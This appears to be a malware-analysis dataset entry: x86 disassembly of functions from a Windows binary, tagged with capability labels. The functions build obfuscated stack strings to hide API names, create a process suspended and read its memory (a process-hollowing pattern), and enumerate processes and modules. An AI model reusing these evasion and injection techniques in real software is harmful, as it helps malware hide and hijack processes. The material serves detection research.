joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e100
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x28], eax
mov al, 0x6c
mov dl, 0x77
mov cl, 0x69
push esi
mov byte [esp + 8], 0x44
mov byte [esp + 9], dl
mov byte [esp + 0xa], 0x6d
mov byte [esp + 0xb], 0x61
mov byte [esp + 0xc], 0x70
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x2e
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], al
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0
mov esi, esi
mov al, 0x74
mov byte [esp + 0x14], 0x44
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0x6d
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x65
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x57
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0
mov cl, cl
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
mov edi, edi
test esi, esi
je 0x1001e1fa
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, edi
test eax, eax
je 0x1001e1f1
mov dword [esp + 4], 1
mov bl, bl
push 4
lea edx, [esp + 8]
push edx
push 2
push edi
call eax
mov ch, ch
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push ebx
pop ebx
mov ecx, dword [esp + 0x2c]
pop esi
xor ecx, esp
call fcn.101179ba
add esp, 0x2c
ret
Function at 0x1001ef20
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1017f231
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x2c], eax
push edi
mov eax, dword [0x101cf40c]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0xc], 0
mov dword [esi + 0x10], esi
mov dword [esp + 0x10], esi
mov dword [esi + 0x14], esi
mov dword [esp + 0x40], 1
mov eax, dword [esi + 0x10]
mov byte [eax], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0xc], 1
mov bl, bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.1011a53f
add esp, 4
mov bl, bl
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x62
mov byte [esp + 0x16], 0x63
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], 0x65
mov byte [esp + 0x19], 0x66
mov byte [esp + 0x1a], 0x67
mov byte [esp + 0x1b], 0x68
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6a
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x6e
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x71
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x77
mov byte [esp + 0x2a], 0x78
mov byte [esp + 0x2b], 0x79
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0x42
mov byte [esp + 0x2f], 0x43
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], 0x45
mov byte [esp + 0x32], 0x46
mov byte [esp + 0x33], 0x47
mov dh, dh
call fcn.1011a54c
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x1001f04d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 8
nop
mov cl, cl
test eax, eax
jle 0x1001f090
mov edi, eax
lea esp, [esp]
call fcn.1011a54c
and eax, 0x8000001f
jns 0x1001f071
dec eax
or eax, 0xffffffe0
inc eax
mov bl, bl
mov al, byte [esp + eax + 0x14]
add al, 1
mov byte [esp + 8], al
mov ecx, dword [esp + 8]
push ecx
mov ecx, esi
call fcn.1001ee70
push eax
pop eax
sub edi, 1
jne 0x1001f060
mov eax, esi
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.101179ba
add esp, 0x3c
ret
Function at 0x1001fc30
Capabilities:
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10179132
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
push esi
push edi
mov eax, dword [0x101cf40c]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
mov esi, dword [esp + 0x140]
mov edi, dword [esp + 0x144]
xor ebx, ebx
push 0xff
lea eax, [esp + 0x31]
push ebx
mov dword [esp + 0x1c], ebx
push eax
mov dword [esp + 0x28], esi
mov byte [esp + 0x38], bl
call fcn.101184b0
add esp, 0xc
mov bl, bl
push ebx
pop ebx
xchg ebx, eax
xchg ebx, eax
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
nop
cmp eax, 0xffffffff
je 0x1001fcbe
lea ecx, [esp + 0x13]
push ecx
push edi
mov ecx, esi
call fcn.1000a190
jmp 0x1001fd81
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edx, edx
cmp eax, ebx
jne 0x1001fcda
lea edx, [esp + 0x13]
push edx
push 0x101839c8
jmp 0x1001fd7a
cmp word [eax + 0xa], 4
je 0x1001fcf0
lea eax, [esp + 0x13]
push eax
push 0x101839c8
jmp 0x1001fd7a
mov ecx, ecx
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [esp + 0x20]
push ecx
call fcn.10119900
add esp, 0xc
mov ch, ch
mov cl, 0x25
mov al, 0x64
mov dl, 0x2e
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], al
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], al
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], al
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], bl
mov ah, ah
movzx edx, byte [esp + 0x1b]
movzx eax, byte [esp + 0x1a]
push edx
push eax
mov eax, dword [esp + 0x20]
movzx ecx, ah
push ecx
movzx edx, al
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.10119290
add esp, 0x18
mov dl, dl
lea edx, [esp + 0x13]
push edx
lea eax, [esp + 0x30]
push eax
mov ecx, esi
call fcn.1000a190
mov dword [esp + 0x138], ebx
mov dword [esp + 0x14], 1
mov eax, esi
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.101179ba
add esp, 0x12c
ret
Function at 0x1001fdc0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101cf40c]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x1ff
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.101184b0
add esp, 0xc
mov ebp, ebp
push 0x200
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov bh, bh
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0
mov ah, ah
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10119290
add esp, 0x10
push edx
pop edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101179ba
mov esp, ebp
pop ebp
ret

Function at 0x10020380
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101cf40c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x102d4000], 0
jne 0x10020445
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
push edx
pop edx
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
mov bh, bh
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x102d4000], eax
mov ebp, ebp
cmp dword [0x102d4000], 0
jne 0x10020452
xor eax, eax
jmp 0x10020457
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101179ba
mov esp, ebp
pop ebp
ret
Function at 0x1002bd10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x101cf40c]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov al, al
mov dword [ebp - 0x138], 0x128
mov edi, edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov eax, eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1002bd47
jmp 0x1002bdaf
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
mov ebx, ebx
cmp dword [ebp - 8], 0
je 0x1002bd95
mov edx, dword [ebp + 8]
cmp edx, dword [ebp - 0x120]
jne 0x1002bd7e
mov eax, dword [ebp - 0x130]
push eax
call fcn.1002bd10
add esp, 4
push eax
pop eax
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
mov bl, bl
jmp 0x1002bd5c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov bl, bl
mov ecx, dword [ebp + 8]
push ecx
call fcn.10044570
add esp, 4
mov ebx, ebx
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.101179ba
mov esp, ebp
pop ebp
ret
Function at 0x10032e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101cf40c]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov bh, bh
nop
mov dword [ebp - 0x48], 0
mov ch, ch
mov dword [ebp - 0x4c], 0
nop
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
push eax
pop eax
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
mov ecx, ecx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x48], eax
mov dl, dl
cmp dword [ebp - 0x48], 0
je 0x10032f60
mov ebx, ebx
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov ah, ah
cmp dword [ebp - 0x54], 0
jl 0x10032f60
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
push ecx
pop ecx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.101179ba
mov esp, ebp
pop ebp
ret
Function at 0x10033590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x101cf40c]
xor eax, ebp
mov dword [ebp - 0xc], eax
push ebx
pop ebx
mov dword [ebp - 4], 0
mov bh, bh
mov dword [ebp - 8], 0
mov dl, dl
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
nop
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov edi, edi
cmp dword [ebp - 0x1c], 0
je 0x1003367c
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
push ecx
pop ecx
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
mov esi, esi
cmp dword [ebp - 4], 0
je 0x1003367c
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
push ecx
pop ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.101179ba
mov esp, ebp
pop ebp
ret
Function at 0x10033690
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov ecx, ecx
mov al, al
mov dh, dh
mov ebp, ebp
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.101184b0
add esp, 0xc
mov edx, edx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov ah, ah
mov dword [ebp - 0x60], 0x44
xchg ebx, eax
xchg ebx, eax
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [ebp - 8], eax
mov ch, ch
cmp dword [ebp - 8], 0
je 0x100337a8
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov dh, dh
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov esi, esi
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov al, al
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
mov dl, dl
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov al, al
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
mov al, al
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
test eax, eax
je 0x10033799
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x1003378c
jmp 0x10033799
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
push edx
pop edx
jmp 0x10033763
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
mov cl, cl
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x100409a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x19c], eax
cmp byte [0x102d4398], 0
mov dword [esp + 4], edx
je 0x100409eb
mov eax, 0x102d4398
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x100409c8
mov dh, dh
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.101179ba
add esp, 0x1a0
ret
push ebx
push ebp
mov dword [esp + 0x10], 0x400
mov dword [esp + 0x14], 0x170
mov dword [esp + 0x18], 0x4e
mov dword [esp + 0x1c], 0x60d1
mov dword [esp + 0x20], 0x26d9
mov dword [esp + 0x24], 0x15d01
mov dword [esp + 0x28], 0x1f07
mov dword [esp + 0x2c], 0x120c4
mov dword [esp + 0x30], 0x16aa2
mov dword [esp + 0x34], 0xe18e3
mov dword [esp + 0x38], 0x39fb4
mov dword [esp + 0x3c], 0xc1740
mov dword [esp + 0x40], 0x13583
mov dword [esp + 0x44], 0xea
mov dword [esp + 0x48], 0x25fd
mov dword [esp + 0x4c], 0xb12
mov dword [esp + 0x50], 0x37f
mov dword [esp + 0x54], 0x3ff
mov dword [esp + 0x58], 0x24
mov dword [esp + 0x5c], 7
mov dword [esp + 0x60], 0x9ae
mov dword [esp + 0x64], 0x3e2
mov dword [esp + 0x68], 0x22e6
mov dword [esp + 0x6c], 0x31a
mov dword [esp + 0x70], 0x1ce0
mov dword [esp + 0x74], 0x2443
mov dword [esp + 0x78], 0x168e3
mov dword [esp + 0x7c], 0x5cc5
mov dword [esp + 0x80], 0x13586
mov dword [esp + 0x84], 0x1ef3
mov dword [esp + 0x88], 0x17
mov dword [esp + 0x8c], 0x3cc
mov dword [esp + 0x90], 0x11b
mov dword [esp + 0x94], 0x59
mov edi, edi
push ecx
pop ecx
mov dl, dl
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push esi
mov dword [esp + 0xc], 0
mov bl, 0x5c
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
add edi, 0x61
mov cl, cl
mov byte [esp + 0xa0], bl
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x2e
mov byte [esp + 0xa3], bl
mov byte [esp + 0xa4], 0x25
mov byte [esp + 0xa5], 0x63
mov byte [esp + 0xa6], 0x25
mov byte [esp + 0xa7], 0x64
mov byte [esp + 0xa8], 0
nop
mov eax, dword [esp + esi*4 + 0x18]
push eax
push edi
lea ecx, [esp + 0xa8]
push ecx
lea edx, [esp + 0xb8]
push edx
call fcn.10119290
add esp, 0x10
mov ah, ah
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea eax, [esp + 0xc4]
push eax
call ebp
mov ecx, ecx
cmp eax, 0xffffffff
jne 0x10040bfd
add esi, 1
cmp esi, 0x22
jb 0x10040b30
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, 0x19
mov dword [esp + 0x10], eax
jl 0x10040b27
mov ecx, dword [esp + 0x14]
mov byte [ecx], 0
mov ch, ch
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101179ba
add esp, 0x1a0
ret
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, al
xor eax, eax
jmp 0x10040c10
mov cl, byte [esp + eax + 0xac]
mov byte [eax + 0x102d4398], cl
add eax, 1
test cl, cl
jne 0x10040c10
mov ch, ch
mov edx, dword [esp + 0x14]
mov eax, 0x102d4398
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10040c31
mov bh, bh
jmp 0x10040be4
Function at 0x10040e80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x504], eax
mov ecx, dword [esp + 0x50c]
mov ah, ah
mov eax, dword [ecx + 4]
mov dl, dl
cmp eax, 1
jne 0x10040eb2
mov byte [esp + 0x104], al
mov ebp, ebp
jmp 0x10040f14
cmp eax, 2
jne 0x10040ec2
mov byte [esp + 0x104], al
mov dh, dh
jmp 0x10040f14
cmp eax, 3
jne 0x10040ed2
mov byte [esp + 0x104], al
xchg ebx, eax
xchg ebx, eax
jmp 0x10040f14
cmp eax, 5
jne 0x10040ee2
mov byte [esp + 0x104], al
push ecx
pop ecx
jmp 0x10040f14
cmp eax, 6
jne 0x10040ef2
mov byte [esp + 0x104], al
mov ch, ch
jmp 0x10040f14
cmp eax, 7
jne 0x10040f02
mov byte [esp + 0x104], al
mov bl, bl
jmp 0x10040f14
cmp eax, 8
jne 0x10040fd4
mov byte [esp + 0x104], al
mov cl, cl
push esi
push edi
mov edi, dword [esp + 0x518]
lea eax, [edi - 8]
push eax
add ecx, 8
push ecx
lea ecx, [esp + 0x115]
push ecx
call fcn.10119900
add esp, 0xc
push ecx
pop ecx
mov al, al
lea edx, [esp + 0xc]
call fcn.100409a0
mov ecx, ecx
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
nop
cmp esi, 0xffffffff
je 0x10040fbb
mov dword [esp + 8], 0
mov ch, ch
push 0
lea eax, [esp + 0xc]
push eax
add edi, 0xfffffff9
push edi
lea ecx, [esp + 0x118]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov al, al
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
pop ebx
cmp dword [esp + 8], 0
jne 0x10040fbb
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.101179ba
add esp, 0x508
ret
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.101179ba
add esp, 0x508
ret
mov ecx, dword [esp + 0x504]
xor ecx, esp
xor eax, eax
call fcn.101179ba
add esp, 0x508
ret
Function at 0x10041880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x10041899
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov esi, eax
test esi, esi
je 0x100418d4
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x100418d0
lea ebx, [ebx]
cmp esi, eax
jae 0x100418d4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x100418c0
cmp esi, eax
jb 0x100418da
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x10042cf0
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
push esi
push edi
mov ebx, ebx
mov dword [esp + 8], eax
xchg ebx, eax
xchg ebx, eax
mov dword [esp + 0xc], ecx
push edx
pop edx
mov dword [esp + 0x10], edx
mov bh, bh
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], eax
mov ebp, ebp
mov dword [esp + 0x18], 0
mov eax, eax
call fcn.1003e860
mov edi, eax
push ebx
pop ebx
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x100425d0
push 0
push 0
call fcn.10119ed7
add esp, 0x18
mov esi, eax
mov ah, ah
push edi
call fcn.1003e920
add esp, 4
mov ebp, ebp
test esi, esi
jne 0x10042d5b
pop edi
xor eax, eax
pop esi
add esp, 0x14
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, eax
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, esi
mov eax, dword [esp + 0x18]
pop edi
pop esi
add esp, 0x14
ret

Function at 0x100437a0
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x228
mov eax, dword [0x101cf40c]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dh, dh
push eax
push 8
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
mov cl, cl
cmp esi, 0xffffffff
jne 0x100437e6
xor eax, eax
pop esi
mov ecx, dword [esp + 0x224]
xor ecx, esp
call fcn.101179ba
add esp, 0x228
ret
push edi
xor edi, edi
push ecx
pop ecx
mov bl, bl
push 0x224
lea eax, [esp + 0xc]
push edi
push eax
call fcn.101184b0
add esp, 0xc
mov cl, cl
mov dword [esp + 8], 0x224
mov esi, esi
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.DLL_Module32First
push ebx
pop ebx
test eax, eax
je 0x10043845
push ebx
mov ebx, dword [esp + 0x238]
cmp ebx, dword [esp + 0x28]
je 0x1004383e
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.DLL_Module32Next
push ebx
pop ebx
test eax, eax
jne 0x10043825
jmp 0x10043844
mov edi, dword [esp + 0x24]
xchg ebx, eax
xchg ebx, eax
pop ebx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, ebx
mov ecx, dword [esp + 0x22c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.101179ba
add esp, 0x228
ret